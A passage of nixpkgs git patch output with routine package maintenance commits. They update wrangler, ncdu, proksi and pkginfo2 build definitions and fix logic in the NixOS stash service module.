   # @cloudflare/vitest-pool-workers wanted to run a server as part of the build process
   # so I simply removed it
   postBuild = ''
-    rm -fr packages/vitest-pool-workers
+    mv packages/vitest-pool-workers packages/~vitest-pool-workers
     NODE_ENV="production" pnpm --filter workers-shared run build
     NODE_ENV="production" pnpm --filter miniflare run build
     NODE_ENV="production" pnpm --filter wrangler run build
@@ -65,19 +79,17 @@ stdenv.mkDerivation (finalAttrs: {
   # - the build process builds a version of miniflare which is used by wrangler; for this reason, the miniflare package is copied also
   # - pnpm stores all content in the top-level node_modules directory, but it is linked to from a node_modules directory inside wrangler
   # - as they are linked via symlinks, the relative location of them on the filesystem should be maintained
+  # - Update: Now we're copying everything over due to broken symlink errors
   installPhase = ''
     runHook preInstall
     mkdir -p $out/bin $out/lib $out/lib/packages/wrangler
-    rm -rf node_modules/typescript node_modules/eslint node_modules/prettier node_modules/bin node_modules/.bin node_modules/**/bin node_modules/**/.bin
+    mv packages/~vitest-pool-workers packages/vitest-pool-workers
+    cp -r fixtures $out/lib
+    cp -r packages $out/lib
     cp -r node_modules $out/lib
-    cp -r packages/miniflare $out/lib/packages
-    cp -r packages/workers-tsconfig $out/lib/packages
-    cp -r packages/workers-shared $out/lib/packages
-    cp -r packages/wrangler/node_modules $out/lib/packages/wrangler
-    cp -r packages/wrangler/templates $out/lib/packages/wrangler
-    cp -r packages/wrangler/wrangler-dist $out/lib/packages/wrangler
+    cp -r tools $out/lib/tools
+    rm -rf node_modules/typescript node_modules/eslint node_modules/prettier node_modules/bin node_modules/.bin node_modules/**/bin node_modules/**/.bin
     rm -rf $out/lib/**/bin $out/lib/**/.bin
-    cp -r packages/wrangler/bin $out/lib/packages/wrangler
     NODE_PATH_ARRAY=( "$out/lib/node_modules" "$out/lib/packages/wrangler/node_modules" )
     makeWrapper ${lib.getExe nodejs} $out/bin/wrangler \
       --inherit-argv0 \
@@ -86,7 +98,10 @@ stdenv.mkDerivation (finalAttrs: {
       --set-default SSL_CERT_FILE "${cacert}/etc/ssl/certs/ca-bundle.crt" # https://github.com/cloudflare/workers-sdk/issues/3264
     runHook postInstall
   '';
-
+  doInstallCheck = true;
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ];
   meta = {
     description = "Command-line interface for all things Cloudflare Workers";
     homepage = "https://github.com/cloudflare/workers-sdk#readme";

From 2f17cdedb17b990d8cb42d219591fa8867b7539e Mon Sep 17 00:00:00 2001
From: Ezri Zhu <me@ezrizhu.com>
Date: Wed, 21 May 2025 18:51:02 -0400
Subject: [PATCH 0370/4511] wrangler: add ezrizhu to maintainers

(cherry picked from commit c332cf3d2935fd8bedae280158e2ce742c8596d1)
---
 pkgs/by-name/wr/wrangler/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index 721ab85f68c7..17dc8f28a85e 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -113,6 +113,7 @@ stdenv.mkDerivation (finalAttrs: {
       seanrmurphy
       dezren39
       ryand56
+      ezrizhu
     ];
     mainProgram = "wrangler";
     # Tunneling and other parts of wrangler, which require workerd won't run on

From 19eee6fea3467da51287242d48ed2b1ca51518bf Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 23 May 2025 14:15:57 +0000
Subject: [PATCH 0371/4511] wrangler: 4.16.0 -> 4.16.1

(cherry picked from commit caa6d7f0a1ba6a49ba096af071a25d8d1dd1adc6)
---
 pkgs/by-name/wr/wrangler/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index 17dc8f28a85e..ee8c4a95bd6f 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -17,13 +17,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wrangler";
-  version = "4.16.0";
+  version = "4.16.1";
 
   src = fetchFromGitHub {
     owner = "cloudflare";
     repo = "workers-sdk";
     rev = "wrangler@${finalAttrs.version}";
-    hash = "sha256-H/ds5NfOjyTZ4AcsCAP0wbalgOljOUtLSjkjEn+atVk=";
+    hash = "sha256-5mRoQFfOwQ9PC97WdspnRLAFoyAdGpJuV7Ii6ilkR8I=";
   };
 
   pnpmDeps = pnpm_9.fetchDeps {

From 39ea6e5d028166ef1d5f93e9ca2be563d0a6d615 Mon Sep 17 00:00:00 2001
From: GueLaKais <koroyeldiores@gmail.com>
Date: Wed, 28 May 2025 17:40:08 +0200
Subject: [PATCH 0372/4511] wrangler: 4.16.1 -> 4.17.0

(cherry picked from commit 19d93ae7cd78338ea021278c3a3b3bf40f888dc6)
---
 pkgs/by-name/wr/wrangler/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index ee8c4a95bd6f..eed4d7d88552 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -17,13 +17,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wrangler";
-  version = "4.16.1";
+  version = "4.17.0";
 
   src = fetchFromGitHub {
     owner = "cloudflare";
     repo = "workers-sdk";
     rev = "wrangler@${finalAttrs.version}";
-    hash = "sha256-5mRoQFfOwQ9PC97WdspnRLAFoyAdGpJuV7Ii6ilkR8I=";
+    hash = "sha256-PXVfNYy1gzK1OqYOeGRxTRRrxNEQkEhAjE5J9yKcQ/w=";
   };
 
   pnpmDeps = pnpm_9.fetchDeps {
@@ -33,7 +33,7 @@ stdenv.mkDerivation (finalAttrs: {
       src
       postPatch
       ;
-    hash = "sha256-msIXeN8t8Dm3RUkw4woZIMn7wXxw/0jVl8oFmkPJbrA=";
+    hash = "sha256-OCxUhvPIPKSGTTeXaLmkErOBpYQ8mKmieUYj6qxuTK4=";
   };
   # pnpm packageManager version in workers-sdk root package.json may not match nixpkgs
   postPatch = ''

From 5700cf7741993986f528d08ee0792201353c2169 Mon Sep 17 00:00:00 2001
From: Anton Mosich <anton@mosich.at>
Date: Sun, 4 May 2025 14:28:27 +0200
Subject: [PATCH 0373/4511] ncdu_1: 1.18.1 -> 1.22

Changelog: https://dev.yorhel.nl/ncdu/changes
(cherry picked from commit 1b71ecce98809f9cbacfb968775e293675b8e657)
---
 pkgs/tools/misc/ncdu/1.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/misc/ncdu/1.nix b/pkgs/tools/misc/ncdu/1.nix
index fde4411d393c..d69ac1e952de 100644
--- a/pkgs/tools/misc/ncdu/1.nix
+++ b/pkgs/tools/misc/ncdu/1.nix
@@ -2,18 +2,21 @@
   lib,
   stdenv,
   fetchurl,
+  pkg-config,
   ncurses,
 }:
 
 stdenv.mkDerivation rec {
   pname = "ncdu";
-  version = "1.18.1";
+  version = "1.22";
 
   src = fetchurl {
     url = "https://dev.yorhel.nl/download/${pname}-${version}.tar.gz";
-    sha256 = "sha256-fA+h6ynYWq7UuhdBZL27jwEbXDkNAXxX1mj8cjEzJAU=";
+    sha256 = "sha256-CtbAltwE1RIFgRBHYMAbj06X1BkdbJ73llT6PGkaF2s=";
   };
 
+  nativeBuildInputs = [ pkg-config ];
+
   buildInputs = [ ncurses ];
 
   meta = with lib; {

From 71a3a2b52965f5051a640b44408f9bb3696f38a3 Mon Sep 17 00:00:00 2001
From: Anton Mosich <anton@mosich.at>
Date: Sun, 4 May 2025 14:29:08 +0200
Subject: [PATCH 0374/4511] ncdu_1: modernize

(cherry picked from commit f5871d0d3a91f6acbf25f4a046c19612acd46645)
---
 pkgs/tools/misc/ncdu/1.nix | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/pkgs/tools/misc/ncdu/1.nix b/pkgs/tools/misc/ncdu/1.nix
index d69ac1e952de..b4f3de7afabf 100644
--- a/pkgs/tools/misc/ncdu/1.nix
+++ b/pkgs/tools/misc/ncdu/1.nix
@@ -4,14 +4,15 @@
   fetchurl,
   pkg-config,
   ncurses,
+  versionCheckHook,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "ncdu";
   version = "1.22";
 
   src = fetchurl {
-    url = "https://dev.yorhel.nl/download/${pname}-${version}.tar.gz";
+    url = "https://dev.yorhel.nl/download/ncdu-${finalAttrs.version}.tar.gz";
     sha256 = "sha256-CtbAltwE1RIFgRBHYMAbj06X1BkdbJ73llT6PGkaF2s=";
   };
 
@@ -19,12 +20,15 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ ncurses ];
 
-  meta = with lib; {
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  doInstallCheck = true;
+
+  meta = {
     description = "Disk usage analyzer with an ncurses interface";
     homepage = "https://dev.yorhel.nl/ncdu";
-    license = licenses.mit;
-    platforms = platforms.all;
-    maintainers = with maintainers; [ pSub ];
+    license = lib.licenses.mit;
+    platforms = lib.platforms.all;
+    maintainers = with lib.maintainers; [ pSub ];
     mainProgram = "ncdu";
   };
-}
+})

From 02ed91b676d4fbdd50a7451b0a6535cf6edc63f4 Mon Sep 17 00:00:00 2001
From: Anton Mosich <anton@mosich.at>
Date: Sun, 4 May 2025 14:25:42 +0200
Subject: [PATCH 0375/4511] ncdu: 2.8 -> 2.8.2

See https://dev.yorhel.nl/ncdu/changes2 for changes.

(cherry picked from commit af498b1e5cdd581327a031a5c8300b87df164f8d)
---
 pkgs/tools/misc/ncdu/default.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/misc/ncdu/default.nix b/pkgs/tools/misc/ncdu/default.nix
index 833592f8132d..1bcecae210ba 100644
--- a/pkgs/tools/misc/ncdu/default.nix
+++ b/pkgs/tools/misc/ncdu/default.nix
@@ -7,17 +7,18 @@
   zig_0_14,
   zstd,
   installShellFiles,
+  versionCheckHook,
   testers,
   pie ? stdenv.hostPlatform.isDarwin,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "ncdu";
-  version = "2.8";
+  version = "2.8.2";
 
   src = fetchurl {
     url = "https://dev.yorhel.nl/download/ncdu-${finalAttrs.version}.tar.gz";
-    hash = "sha256-qmFXb37J/fUyyxeBQu9bMqrUJWdwWZLPPg0cb+fjjkA=";
+    hash = "sha256-Ai+nZdNaeXl6zcgMgxcH30PJo7pg0a4+bqTMG3osAT0=";
   };
 
   nativeBuildInputs = [
@@ -37,6 +38,11 @@ stdenv.mkDerivation (finalAttrs: {
     installManPage ncdu.1
   '';
 
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ];
+  doInstallCheck = true;
+
   passthru.tests.version = testers.testVersion {
     package = finalAttrs.finalPackage;
   };

From e53cbb8d6aad1ee00f013e2e817867f1d1f3dec5 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 27 May 2025 13:39:17 +0200
Subject: [PATCH 0376/4511] ncdu: move to by-name

(cherry picked from commit 0055175761885d116b7805c3e4845ab52038484b)
---
 pkgs/{tools/misc => by-name/nc}/ncdu/1.nix                    | 0
 .../misc/ncdu/default.nix => by-name/nc/ncdu/package.nix}     | 0
 pkgs/top-level/all-packages.nix                               | 4 +---
 3 files changed, 1 insertion(+), 3 deletions(-)
 rename pkgs/{tools/misc => by-name/nc}/ncdu/1.nix (100%)
 rename pkgs/{tools/misc/ncdu/default.nix => by-name/nc/ncdu/package.nix} (100%)

diff --git a/pkgs/tools/misc/ncdu/1.nix b/pkgs/by-name/nc/ncdu/1.nix
similarity index 100%
rename from pkgs/tools/misc/ncdu/1.nix
rename to pkgs/by-name/nc/ncdu/1.nix
diff --git a/pkgs/tools/misc/ncdu/default.nix b/pkgs/by-name/nc/ncdu/package.nix
similarity index 100%
rename from pkgs/tools/misc/ncdu/default.nix
rename to pkgs/by-name/nc/ncdu/package.nix
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 1069f167b163..0c6396a3f6c6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -13569,9 +13569,7 @@ with pkgs;
 
   mythtv = libsForQt5.callPackage ../applications/video/mythtv { };
 
-  ncdu = callPackage ../tools/misc/ncdu { };
-
-  ncdu_1 = callPackage ../tools/misc/ncdu/1.nix { };
+  ncdu_1 = callPackage ../by-name/nc/ncdu/1.nix { };
 
   notepadqq = libsForQt5.callPackage ../applications/editors/notepadqq { };
 

From 2cfd05957278f0da22ea4ca80d3dd481d2716260 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 27 May 2025 14:03:10 +0200
Subject: [PATCH 0377/4511] ncdu: specify versionCheckProgramArg explicitly

(cherry picked from commit ab6e46604d6627c3f54791ce32a136c792719390)
---
 pkgs/by-name/nc/ncdu/package.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index 1bcecae210ba..533536a468bc 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -38,9 +38,8 @@ stdenv.mkDerivation (finalAttrs: {
     installManPage ncdu.1
   '';
 
-  nativeInstallCheckInputs = [
-    versionCheckHook
-  ];
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
   passthru.tests.version = testers.testVersion {

From d187db0cdcca4964236a9278e412d550e21597ee Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 27 May 2025 14:03:55 +0200
Subject: [PATCH 0378/4511] ncdu: remove `tests.version`

(cherry picked from commit eb6138d3584a1b75671f6a8c65306298f331733f)
---
 pkgs/by-name/nc/ncdu/package.nix | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index 533536a468bc..fd13387c8f12 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -8,7 +8,6 @@
   zstd,
   installShellFiles,
   versionCheckHook,
-  testers,
   pie ? stdenv.hostPlatform.isDarwin,
 }:
 
@@ -42,10 +41,6 @@ stdenv.mkDerivation (finalAttrs: {
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
-  passthru.tests.version = testers.testVersion {
-    package = finalAttrs.finalPackage;
-  };
-
   meta = {
     homepage = "https://dev.yorhel.nl/ncdu";
     description = "Disk usage analyzer with an ncurses interface";

From 12659d6f2a78a46c7b1c6a42e83064935fb3b799 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 27 May 2025 14:08:00 +0200
Subject: [PATCH 0379/4511] ncdu: add updateScript

(cherry picked from commit e9350edebf89cea7145a67cbed3b25faf8c49b59)
---
 pkgs/by-name/nc/ncdu/package.nix | 2 ++
 pkgs/by-name/nc/ncdu/update.sh   | 5 +++++
 2 files changed, 7 insertions(+)
 create mode 100755 pkgs/by-name/nc/ncdu/update.sh

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index fd13387c8f12..cce5d30e5cc1 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -41,6 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
+  passthru.updateScript = ./update.sh;
+
   meta = {
     homepage = "https://dev.yorhel.nl/ncdu";
     description = "Disk usage analyzer with an ncurses interface";
diff --git a/pkgs/by-name/nc/ncdu/update.sh b/pkgs/by-name/nc/ncdu/update.sh
new file mode 100755
index 000000000000..430c83649ac3
--- /dev/null
+++ b/pkgs/by-name/nc/ncdu/update.sh
@@ -0,0 +1,5 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p common-updater-scripts coreutils gnused nix-update
+
+version=$(list-git-tags --url=https://g.blicky.net/ncdu.git | tail -1 | sed 's/^v//')
+nix-update --version="$version" ncdu

From c7c06188872c3e1007cc0a7179b327563c86a96c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 27 May 2025 14:10:45 +0200
Subject: [PATCH 0380/4511] ncdu: add defelo as maintainer

(cherry picked from commit 5436ceef5397d9c7600953c442a84bf0db57bce0)
---
 pkgs/by-name/nc/ncdu/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index cce5d30e5cc1..1db1c17fb6b2 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -51,6 +51,7 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       pSub
       rodrgz
+      defelo
     ];
     inherit (zig_0_14.meta) platforms;
     mainProgram = "ncdu";

From 6ea8673b20ae57a2500bf85f9e279d96920d2959 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Wed, 28 May 2025 22:25:33 +0200
Subject: [PATCH 0381/4511] python313Packages.pkginfo2: disable failing test

(cherry picked from commit 5fa46e8fdf8fa853263d81b4c08fa040917be486)
---
 pkgs/development/python-modules/pkginfo2/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/development/python-modules/pkginfo2/default.nix b/pkgs/development/python-modules/pkginfo2/default.nix
index c46bf6f66ea6..6a88f473d3a4 100644
--- a/pkgs/development/python-modules/pkginfo2/default.nix
+++ b/pkgs/development/python-modules/pkginfo2/default.nix
@@ -24,6 +24,11 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "pkginfo2" ];
 
+  disabledTests = [
+    # AssertionError
+    "test_ctor_w_path"
+  ];
+
   meta = with lib; {
     description = "Query metadatdata from sdists, bdists or installed packages";
     mainProgram = "pkginfo2";

From 8820d88d0b0e32836e5f9709982d6d09187d98d5 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Wed, 28 May 2025 22:50:45 +0200
Subject: [PATCH 0382/4511] python313Packages.pkginfo2: refactor

(cherry picked from commit 086a0e655430a8e4e69591be435ad7e233e4e825)
---
 .../development/python-modules/pkginfo2/default.nix | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/python-modules/pkginfo2/default.nix b/pkgs/development/python-modules/pkginfo2/default.nix
index 6a88f473d3a4..504994331579 100644
--- a/pkgs/development/python-modules/pkginfo2/default.nix
+++ b/pkgs/development/python-modules/pkginfo2/default.nix
@@ -3,23 +3,23 @@
   buildPythonPackage,
   fetchFromGitHub,
   pytestCheckHook,
-  pythonOlder,
+  setuptools,
 }:
 
 buildPythonPackage rec {
   pname = "pkginfo2";
   version = "30.0.0";
-  format = "setuptools";
-
-  disabled = pythonOlder "3.7";
+  pyproject = true;
 
   src = fetchFromGitHub {
     owner = "nexB";
     repo = "pkginfo2";
-    rev = "v${version}";
+    tag = "v${version}";
     hash = "sha256-E9EyaN3ncf/34vvvhRe0rwV28VrjqJo79YFgXq2lKWU=";
   };
 
+  build-system = [ setuptools ];
+
   nativeCheckInputs = [ pytestCheckHook ];
 
   pythonImportsCheck = [ "pkginfo2" ];
@@ -31,9 +31,10 @@ buildPythonPackage rec {
 
   meta = with lib; {
     description = "Query metadatdata from sdists, bdists or installed packages";
-    mainProgram = "pkginfo2";
     homepage = "https://github.com/nexB/pkginfo2";
+    changelog = "https://github.com/aboutcode-org/pkginfo2/releases/tag/${src.tag}";
     license = licenses.mit;
     maintainers = with maintainers; [ fab ];
+    mainProgram = "pkginfo2";
   };
 }

From 1c2dbee288d5f73c9dd7528da9b3d258b2d26cd1 Mon Sep 17 00:00:00 2001
From: DoctorDalek1963 <dyson.dyson@icloud.com>
Date: Sun, 18 May 2025 00:36:45 +0100
Subject: [PATCH 0383/4511] nixos/stash: fix mutableSettings logic

Fixes services.stash.mutableSettings so that it makes sense. The logic
was previously backwards and the settings would be overriden if
mutableSettings was true.

(cherry picked from commit 7dcad49a3007f2fc7bd3795b9ffa2abadf1a3d4a)
---
 nixos/modules/services/web-apps/stash.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/stash.nix b/nixos/modules/services/web-apps/stash.nix
index 47f66edb7ddb..fdd01140cd7d 100644
--- a/nixos/modules/services/web-apps/stash.nix
+++ b/nixos/modules/services/web-apps/stash.nix
@@ -512,7 +512,7 @@ in
           ExecStartPre = pkgs.writers.writeBash "stash-setup.bash" (
             ''
               install -d ${cfg.settings.generated}
-              if [[ ! -z "${toString cfg.mutableSettings}" || ! -f ${cfg.dataDir}/config.yml ]]; then
+              if [[ -z "${toString cfg.mutableSettings}" || ! -f ${cfg.dataDir}/config.yml ]]; then
                 env \
                   password=$(< ${cfg.passwordFile}) \
                   jwtSecretKeyFile=$(< ${cfg.jwtSecretKeyFile}) \

From 16c1825c7469123c8c5f4450be855fe0fac3c6d8 Mon Sep 17 00:00:00 2001
From: renesat <self@renesat.me>
Date: Mon, 28 Apr 2025 18:29:54 +0200
Subject: [PATCH 0384/4511] nixos/stash: fix empty immutable plugins

(cherry picked from commit cb4459412af0f7d786ef55b64dd2b168fff320bd)
---
 nixos/modules/services/web-apps/stash.nix | 80 +++++++++++------------
 1 file changed, 40 insertions(+), 40 deletions(-)

diff --git a/nixos/modules/services/web-apps/stash.nix b/nixos/modules/services/web-apps/stash.nix
index 47f66edb7ddb..f305f603e192 100644
--- a/nixos/modules/services/web-apps/stash.nix
+++ b/nixos/modules/services/web-apps/stash.nix
@@ -167,7 +167,7 @@ let
             presets.recentlyAddedImages
           ]
         '';
-        apply = type: if builtins.isFunction type then (type uiPresets) else type;
+        apply = type: if lib.isFunction type then (type uiPresets) else type;
       };
       blobs_path = mkOption {
         type = types.path;
@@ -324,47 +324,47 @@ let
       '';
       apply =
         srcs:
-        optionalString (srcs != [ ]) (
-          pkgs.runCommand "stash-${kind}"
-            {
-              inherit srcs;
-              nativeBuildInputs = [ pkgs.yq-go ];
-              preferLocalBuild = true;
-            }
-            ''
-              find $srcs -mindepth 1 -name '*.yml' | while read plugin_file; do
-                grep -q "^#pkgignore" "$plugin_file" && continue
+        pkgs.runCommand "stash-${kind}"
+          {
+            inherit srcs;
+            nativeBuildInputs = [ pkgs.yq-go ];
+            preferLocalBuild = true;
+          }
+          ''
+            mkdir -p $out
+            touch $out/.keep
+            find $srcs -mindepth 1 -name '*.yml' | while read plugin_file; do
+              grep -q "^#pkgignore" "$plugin_file" && continue
 
-                plugin_dir=$(dirname $plugin_file)
-                out_path=$out/$(basename $plugin_dir)
-                mkdir -p $out_path
-                ls $plugin_dir | xargs -I{} ln -sf "$plugin_dir/{}" $out_path
+              plugin_dir=$(dirname $plugin_file)
+              out_path=$out/$(basename $plugin_dir)
+              mkdir -p $out_path
+              ls $plugin_dir | xargs -I{} ln -sf "$plugin_dir/{}" $out_path
 
-                env \
-                  plugin_id=$(basename $plugin_file .yml) \
-                  plugin_name="$(yq '.name' $plugin_file)" \
-                  plugin_description="$(yq '.description' $plugin_file)" \
-                  plugin_version="$(yq '.version' $plugin_file)" \
-                  plugin_files="$(find -L $out_path -mindepth 1 -type f -printf "%P\n")" \
-                  yq -n '
-                    .id = strenv(plugin_id) |
-                    .name = strenv(plugin_name) |
-                    (
-                      strenv(plugin_description) as $desc |
-                      with(select($desc == "null"); .metadata = {}) |
-                      with(select($desc != "null"); .metadata.description = $desc)
-                    ) |
-                    (
-                      strenv(plugin_version) as $ver |
-                      with(select($ver == "null"); .version = "Unknown") |
-                      with(select($ver != "null"); .version = $ver)
-                    ) |
-                    .date = (now | format_datetime("2006-01-02 15:04:05")) |
-                    .files = (strenv(plugin_files) | split("\n"))
-                  ' > $out_path/manifest
-              done
-            ''
-        );
+              env \
+                plugin_id=$(basename $plugin_file .yml) \
+                plugin_name="$(yq '.name' $plugin_file)" \
+                plugin_description="$(yq '.description' $plugin_file)" \
+                plugin_version="$(yq '.version' $plugin_file)" \
+                plugin_files="$(find -L $out_path -mindepth 1 -type f -printf "%P\n")" \
+                yq -n '
+                  .id = strenv(plugin_id) |
+                  .name = strenv(plugin_name) |
+                  (
+                    strenv(plugin_description) as $desc |
+                    with(select($desc == "null"); .metadata = {}) |
+                    with(select($desc != "null"); .metadata.description = $desc)
+                  ) |
+                  (
+                    strenv(plugin_version) as $ver |
+                    with(select($ver == "null"); .version = "Unknown") |
+                    with(select($ver != "null"); .version = $ver)
+                  ) |
+                  .date = (now | format_datetime("2006-01-02 15:04:05")) |
+                  .files = (strenv(plugin_files) | split("\n"))
+                ' > $out_path/manifest
+            done
+          '';
     };
 in
 {

From ab458dba3a88c47617aed0072ac30e36a08ac434 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 23 May 2025 13:43:57 +0000
Subject: [PATCH 0385/4511] proksi: 0.5.3-unstable-2025-05-12 ->
 0.5.3-unstable-2025-05-19

(cherry picked from commit 78fb1e343ea78651f01025f6088ddf83ac6e995a)
---
 pkgs/by-name/pr/proksi/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pr/proksi/package.nix b/pkgs/by-name/pr/proksi/package.nix
index 5b4b9ad89364..15e9af128929 100644
--- a/pkgs/by-name/pr/proksi/package.nix
+++ b/pkgs/by-name/pr/proksi/package.nix
@@ -13,13 +13,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "proksi";
-  version = "0.5.3-unstable-2025-05-12";
+  version = "0.5.3-unstable-2025-05-19";
 
   src = fetchFromGitHub {
     owner = "luizfonseca";
     repo = "proksi";
-    rev = "da697ae58c515759b710b93ea1d2065a6ae07443";
-    hash = "sha256-maoiQc8s+gGC/xqyii/KsYZmF9li8VjyizBqlGq7H0c=";
+    rev = "4e31e5223dd4a8e3b955fbfa6c895c94c834e5aa";
+    hash = "sha256-7NeRU+VJf2HvT7PRmryhE8u56/PoKvKtGGuZTCujGNQ=";
   };
 
   postPatch = ''
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Mmq68jk4EK3J8wnnqznAgcggoFv0iSStlnUwmumRFmQ=";
+  cargoHash = "sha256-jypYyXN9caTax+11shkJJfEEPtoq4RILWjffm/3ymzE=";
 
   nativeBuildInputs = [
     pkg-config

From 2aa6cd9c7252042f524bca5f52b84b9a5a80ab07 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 30 May 2025 20:24:39 +0200
Subject: [PATCH 0386/4511] proksi: 0.5.3-unstable-2025-05-19 -> 0.6.0

(cherry picked from commit f14fe46e22544c3ea5c0c49da046dcc0855d914e)
---
 pkgs/by-name/pr/proksi/package.nix | 19 +++++--------------
 1 file changed, 5 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/pr/proksi/package.nix b/pkgs/by-name/pr/proksi/package.nix
index 15e9af128929..c5c31b8074a6 100644
--- a/pkgs/by-name/pr/proksi/package.nix
+++ b/pkgs/by-name/pr/proksi/package.nix
@@ -13,13 +13,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "proksi";
-  version = "0.5.3-unstable-2025-05-19";
+  version = "0.6.0";
 
   src = fetchFromGitHub {
     owner = "luizfonseca";
     repo = "proksi";
-    rev = "4e31e5223dd4a8e3b955fbfa6c895c94c834e5aa";
-    hash = "sha256-7NeRU+VJf2HvT7PRmryhE8u56/PoKvKtGGuZTCujGNQ=";
+    tag = "proksi-v${finalAttrs.version}";
+    hash = "sha256-5IXtMtyKbx7re6CA61AnQ85k/SMdkjZo/ySnNoD2DDo=";
   };
 
   postPatch = ''
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-jypYyXN9caTax+11shkJJfEEPtoq4RILWjffm/3ymzE=";
+  cargoHash = "sha256-yjbtP+FlDaJXPhCu1UyaDolpzy+BUejU8nVVSVsKCzE=";
 
   nativeBuildInputs = [
     pkg-config
@@ -61,17 +61,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
-  # remove after updating to the next stable version
-  preVersionCheck = ''
-    export version=0.5.3
-  '';
 
-  passthru.updateScript = nix-update-script {
-    extraArgs = [
-      "--version=branch"
-      "--version-regex=proksi-v(.*)"
-    ];
-  };
+  passthru.updateScript = nix-update-script { extraArgs = [ "--version-regex=proksi-v(.*)" ]; };
 
   meta = {
     description = "Batteries-included CDN, reverse proxy and Load Balancer using Cloudflare Pingora";

From e73a6ee1204bb1db30590b2160649605cb5a2db6 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 1 Jun 2025 03:47:42 +0800
Subject: [PATCH 0387/4511] linuxPackages.rtl8821ce: 0-unstable-2025-05-02 ->
 0-unstable-2025-05-31

(cherry picked from commit 08edb1cc10e36841695a63e143e46a7a846bfc5e)
---
 pkgs/os-specific/linux/rtl8821ce/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

